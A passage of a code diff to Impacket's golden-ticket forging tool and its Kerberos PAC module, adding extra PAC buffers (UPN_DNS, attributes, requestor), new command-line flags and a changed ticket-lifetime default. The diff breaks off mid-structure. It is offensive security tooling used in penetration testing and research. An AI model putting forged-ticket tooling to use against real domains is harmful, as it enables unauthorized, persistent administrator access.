= validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ - privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ - pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoIB.getData() + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoIB.getData() + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoIB.getData() + + buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ + validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment + buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() - pacType['cBuffers'] = 4 + pacType['cBuffers'] = pac_count pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail @@ -649,7 +788,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) - print ('\n') + print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) @@ -701,7 +840,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) - print ('\n') + print('\n') return encoder.encode(kdcRep), cipher, sessionKey @@ -745,8 +884,11 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' - '(default = 365*10)') + parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)') + parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude ' + 'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' + '(default = 24*365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f8..555da6bb6 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -12,10 +12,11 @@ # Author: # Alberto Solino (@agsolino) # -from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT +from impacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, RPC_SID, SID from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.ldap.ldaptypes import LDAP_SID from impacket.structure import Structure ################################################################################ @@ -30,6 +31,8 @@ PAC_CLIENT_INFO_TYPE = 10 PAC_DELEGATION_INFO = 11 PAC_UPN_DNS_INFO = 12 +PAC_ATTRIBUTES_INFO = 17 +PAC_REQUESTOR_INFO = 18 ################################################################################ # STRUCTURES @@ -198,12 +201,27 @@ class S4U_DELEGATION_INFO(NDRSTRUCT): # 2.10 UPN_DNS_INFO class UPN_DNS_INFO(Structure): + structure = ( + ('UpnLength', '